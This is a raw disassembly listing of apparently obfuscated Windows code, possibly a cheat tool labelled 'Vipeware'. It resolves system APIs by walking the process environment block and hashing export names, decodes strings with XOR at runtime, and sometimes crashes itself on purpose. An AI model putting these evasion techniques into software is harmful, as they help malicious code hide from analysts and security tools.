test r9d, r9d
jne 0x14007a040
mov rax, qword [rax]
jmp 0x14007a010
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007a136
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007a136
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007a131
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007a110
cmp r8d, 0xe80fd3a
je 0x14007a13b
test r9d, r9d
jne 0x14007a0f0
mov rax, qword [rax]
jmp 0x14007a0c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007a1e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007a1e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007a1e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007a1c0
cmp r8d, 0xa52bcaf9
je 0x14007a1eb
test r9d, r9d
jne 0x14007a1a0
mov rax, qword [rax]
jmp 0x14007a170
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov eax, dword [0x140144824]
mov dword [rsp + 0x70], eax
movzx eax, word [0x140144828]
mov word [rsp + 0x74], ax
mov byte [rsp + 0x70], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x71], 0x35
xor byte [rsp + 0x72], 0x36
xor byte [rsp + 0x73], 0x37
xor byte [rsp + 0x74], 0x38
xor byte [rsp + 0x75], 0x39
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.14006a580
test al, al
je 0x14007a46f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007a2e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007a2e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007a2e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007a2c0
cmp r8d, 0xcded1a85
je 0x14007a2eb
test r9d, r9d
jne 0x14007a2a0
mov rax, qword [rax]
jmp 0x14007a270
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007a396
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007a396
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007a391
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007a370
cmp r8d, 0xe80fd3a
je 0x14007a39b
test r9d, r9d
jne 0x14007a350
mov rax, qword [rax]
jmp 0x14007a320
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007a446
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007a446
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007a441
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007a420
cmp r8d, 0xa52bcaf9
je 0x14007a44b
test r9d, r9d
jne 0x14007a400
mov rax, qword [rax]
jmp 0x14007a3d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov edx, Ordinal_301
lea ecx, [rdx - 0x32]
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401796b9], 0
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401796b2], 1
jmp 0x14007a6af
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007a526
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007a526
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007a521
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007a500
cmp r8d, 0xcded1a85
je 0x14007a52b
test r9d, r9d
jne 0x14007a4e0
mov rax, qword [rax]
jmp 0x14007a4b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007a5d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007a5d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007a5d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007a5b0
cmp r8d, 0xe80fd3a
je 0x14007a5db
test r9d, r9d
jne 0x14007a590
mov rax, qword [rax]
jmp 0x14007a560
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007a686
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007a686
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007a681
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007a660
cmp r8d, 0xa52bcaf9
je 0x14007a68b
test r9d, r9d
jne 0x14007a640
mov rax, qword [rax]
jmp 0x14007a610
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
lea rcx, [rbp + 0xea8]
call fcn.140064d50
mov rbx, qword [rbp + 0x80]
mov dword [rbp + 0x4c8], 0x43700000
mov dword [rbp + 0x4cc], 0x43a00000
lea rcx, [rbp + 0x4c8]
call fcn.140025c30
mov qword [rsi + 0xc4], r12
mov dword [rsi + 0xcc], r12d
mov dword [rsi + 0xd0], 0x3f800000
movaps xmm7, xmmword [0x140102110]
movaps xmm8, xmmword [0x140147690]
mov dword [rbp + 0x4d0], 0x43820000
mov dword [rbp + 0x4d4], 0x42200000
movups xmm0, xmmword [0x140144830]
movups xmmword [rbp + 0x628], xmm0
movzx eax, byte [0x140144840]
mov byte [rbp + 0x638], al
mov r8d, r12d
cmp r13d, 2
jl 0x14007a885
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x62c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007a780
cmp r8d, 0x11
jge 0x14007a8d0
movsxd rax, r8d
lea r9, [rbp + 0x628]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14007a8a0
movdqa xmmword [rsp + 0x50], xmm7
movdqa xmmword [rsp + 0x60], xmm8
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140175678]
mov qword [rsp + 0x28], rax
lea rax, [0x140175670]
mov qword [rsp + 0x20], rax
lea r9, [0x140175668]
xor r8d, r8d
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x628]
call fcn.14003f910
test al, al
je 0x14007a940
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401796b9], 1
mov dword [rsi + 0xc4], 0x3f800000
mov dword [rsi + 0xc8], 0x3f800000
mov dword [rsi + 0xcc], 0x3f800000
mov dword [rsi + 0xd0], 0x3f800000
mov rcx, rbx
call fcn.140025a30
mov dword [rbp + 0x4d8], 0x4432c000
mov dword [rbp + 0x4dc], 0x40a00000
lea rcx, [rbp + 0x4d8]
call fcn.140025c30
movaps xmm0, xmmword [0x140147680]
movaps xmm1, xmmword [0x140147650]
mov dword [rbp + 0x4e0], 0x41a00000
mov dword [rbp + 0x4e4], 0x41f00000
movzx eax, word [0x140144844]
mov word [rsp + 0x78], ax
cmp byte [0x140144845], 0
je 0x14007a9d1
mov byte [rsp + 0x78], 0x78
xor byte [rsp + 0x79], 0x35
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x140175690]
mov qword [rsp + 0x28], rax
lea rax, [0x140175688]
mov qword [rsp + 0x20], rax
lea r9, [0x140175680]
xor r8d, r8d
lea rdx, [rbp + 0x4e0]
lea rcx, [rsp + 0x78]
call fcn.14003fdb0
test al, al
je 0x14007aa2f
mov byte [reloc.WS2_32.dll_accept], 0
mov rcx, rbx
call fcn.140025a30
mov dword [rbp + 0x4f0], 0x44278000
mov dword [rbp + 0x4f4], 0x43c80000
lea rcx, [rbp + 0x4f0]
call fcn.140025c30
movaps xmm6, xmmword [0x140102100]
mov dword [rbp + 0x4f8], 0x42700000
mov dword [rbp + 0x4fc], 0x42480000
movsd xmm0, qword [0x140144848]
movsd qword [rbp + 0x178], xmm0
mov eax, dword [0x140144850]
mov dword [rbp + 0x180], eax
cmp byte [0x140144853], 0
je 0x14007abf0
mov r8d, r12d
cmp r13d, 2
jl 0x14007abb0
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144848]
xorps xmm2, xmm0
movd dword [rbp + 0x178], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x17c]
xorps xmm2, xmm1
movd dword [rbp + 0x17c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x178]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14007abc0
movdqa xmmword [rsp + 0x50], xmm6
movups xmm0, xmmword [0x140175300]
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140179db0]
mov qword [rsp + 0x28], rax
lea rax, [0x140179db8]
mov qword [rsp + 0x20], rax
lea r9, [0x140179da8]
xor r8d, r8d
lea rdx, [rbp + 0x4f8]
lea rcx, [rbp + 0x178]
call fcn.14003f910
test al, al
je 0x14007ad48
mov eax, dword [0x140144854]
mov dword [rbp + 0x10], eax
movzx ecx, word [0x140144858]
mov word [rbp + 0x14], cx
movzx eax, byte [0x14014485a]
mov byte [rbp + 0x10], reloc.WS2_32.dll_WSAStartup
xor byte [rbp + 0x11], 0x35
xor byte [rbp + 0x12], 0x36
xor byte [rbp + 0x13], 0x37
xor cl, 0x38
mov byte [rbp + 0x14], cl
xor byte [rbp + 0x15], 0x39
xor al, 0x3a
mov byte [rbp + 0x16], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007ad26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007ad26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007ad21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007ad00
cmp r8d, 0x491e0a9c
je 0x14007ad2b
test r9d, r9d
jne 0x14007ace0
mov rax, qword [rax]
jmp 0x14007acb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x10]
call rdx
call fcn.140015af0
mov rsi, qword [rbp + 0x218]
mov rdi, qword [rbp + 0x348]
cmp byte [0x1401796b9], 0
je 0x14007cd36
mov qword [rbp + 0x500], 0
lea rcx, [rbp + 0x500]
call fcn.140025c30
mov rbx, qword [rbp + 0x80]
mov rcx, rbx
call fcn.140025a30
call fcn.1400196e0
mov rsi, rax
movaps xmm0, xmmword [0x140147620]
mov dword [rax + 0x114], 0x3f4ccccd
mov dword [rax + 0x118], 0x3ecccccd
mov dword [rax + 0x11c], 0x3e4ccccd
mov dword [rax + 0x120], 0x3f800000
movups xmmword [rax + 0xf4], xmm0
mov dword [rax + 0xd4], 0x3f800000
mov dword [rax + 0xd8], 0x3f800000
mov dword [rax + 0xdc], 0x3f800000
mov dword [rax + 0xe0], 0x3f800000
mov dword [rax + 0x94], 0x3f000000
mov dword [rax + 0x98], 0x3f000000
mov dword [rbp + 0x508], 0x44390000
mov dword [rbp + 0x50c], 0x43e60000
movsd xmm0, qword [0x140144860]
movsd qword [rbp - 0x20], xmm0
movzx eax, word [0x140144868]
mov word [rbp - 0x18], ax
cmp byte [0x140144869], 0
je 0x14007ae65
mov byte [rbp - 0x20], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x1f], 0x35
xor byte [rbp - 0x1e], 0x36
xor byte [rbp - 0x1d], 0x37
xor byte [rbp - 0x1c], 0x38
xor byte [rbp - 0x1b], 0x39
xor byte [rbp - 0x1a], 0x3a
xor byte [rbp - 0x19], 0x3b
xor byte [rbp - 0x18], 0x3c
xor byte [rbp - 0x17], 0x3d
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x508]
lea rcx, [rbp - 0x20]
call fcn.140007ed0
mov dword [rbp + 0x510], 0x43814000
mov dword [rbp + 0x514], 0x42480000
lea rcx, [rbp + 0x510]
call fcn.140025c30
mov rcx, rdi
call fcn.140025a30
lea rcx, str.________Vipeware
call fcn.14004f2d0
movaps xmm0, xmm9
call fcn.140021bb0
mov rcx, rbx
call fcn.140025a30
mov dword [rbp + 0x518], 0x43700000
mov dword [rbp + 0x51c], 0x42f00000
lea rcx, [rbp + 0x518]
call fcn.140025c30
movsd xmm0, qword [0x140144870]
movsd qword [rbp + 0x118], xmm0
mov eax, dword [0x140144878]
mov dword [rbp + 0x120], eax
movzx eax, byte [0x14014487c]
mov byte [rbp + 0x124], al
mov r8d, r12d
cmp r13d, 2
jl 0x14007b01e
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144870]
xorps xmm2, xmm0
movd dword [rbp + 0x118], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11c]
xorps xmm2, xmm1
movd dword [rbp + 0x11c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x118]
add r9, rax
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14007b030
lea rcx, [rbp + 0x118]
call fcn.14004f2d0
mov dword [rbp + 0x520], 0x43700000
mov dword [rbp + 0x524], 0x43110000
lea rcx, [rbp + 0x520]
call fcn.140025c30
movsd xmm0, qword [0x140144880]
movsd qword [rbp + 0x60], xmm0
movzx ecx, word [0x140144888]
mov word [rbp + 0x68], cx
movzx eax, byte [0x14014488a]
mov byte [rbp + 0x60], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x61], 0x35
xor byte [rbp + 0x62], 0x36
xor byte [rbp + 0x63], 0x37
xor byte [rbp + 0x64], 0x38
xor byte [rbp + 0x65], 0x39
xor byte [rbp + 0x66], 0x3a
xor byte [rbp + 0x67], 0x3b
xor cl, 0x3c
mov byte [rbp + 0x68], cl
xor byte [rbp + 0x69], 0x3d
xor al, 0x3e
mov byte [rbp + 0x6a], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x140175332]
lea rcx, [rbp + 0x60]
call fcn.140047730
call fcn.140021440
movaps xmm0, xmm9
call fcn.140021bb0
mov rcx, rbx
call fcn.140025a30
mov dword [rbp + 0x528], 0x43700000
mov dword [rbp + 0x52c], 0x43390000
lea rcx, [rbp + 0x528]
call fcn.140025c30
movsd xmm0, qword [0x140144890]
movsd qword [rbp + 0x128], xmm0
mov eax, dword [0x140144898]
mov dword [rbp + 0x130], eax
movzx eax, byte [0x14014489c]
mov byte [rbp + 0x134], al
mov r8d, r12d
cmp r13d, 2
jl 0x14007b271
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144890]
xorps xmm2, xmm0
movd dword [rbp + 0x128], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x12c]
xorps xmm2, xmm1
movd dword [rbp + 0x12c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x128]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14007b280
lea rcx, [rbp + 0x128]
call fcn.14004f2d0
mov dword [rbp + 0x530], 0x43700000
mov dword [rbp + 0x534], 0x43520000
lea rcx, [rbp + 0x530]
call fcn.140025c30
movsd xmm0, qword [0x1401448a0]
movsd qword [rbp + 0x70], xmm0
movzx ecx, word [0x1401448a8]
mov word [rbp + 0x78], cx
movzx eax, byte [0x1401448aa]
mov byte [rbp + 0x70], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x71], 0x35
xor byte [rbp + 0x72], 0x36
xor byte [rbp + 0x73], 0x37
xor byte [rbp + 0x74], 0x38
xor byte [rbp + 0x75], 0x39
xor byte [rbp + 0x76], 0x3a
xor byte [rbp + 0x77], 0x3b
xor cl, 0x3c
mov byte [rbp + 0x78], cl
xor byte [rbp + 0x79], 0x3d
xor al, 0x3e
mov byte [rbp + 0x7a], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, 0x8000
mov r8d, 0xff
lea rdx, [0x140175431]
lea rcx, [rbp + 0x70]
call fcn.140047730
call fcn.140021440
movaps xmm0, xmm9
call fcn.140021bb0
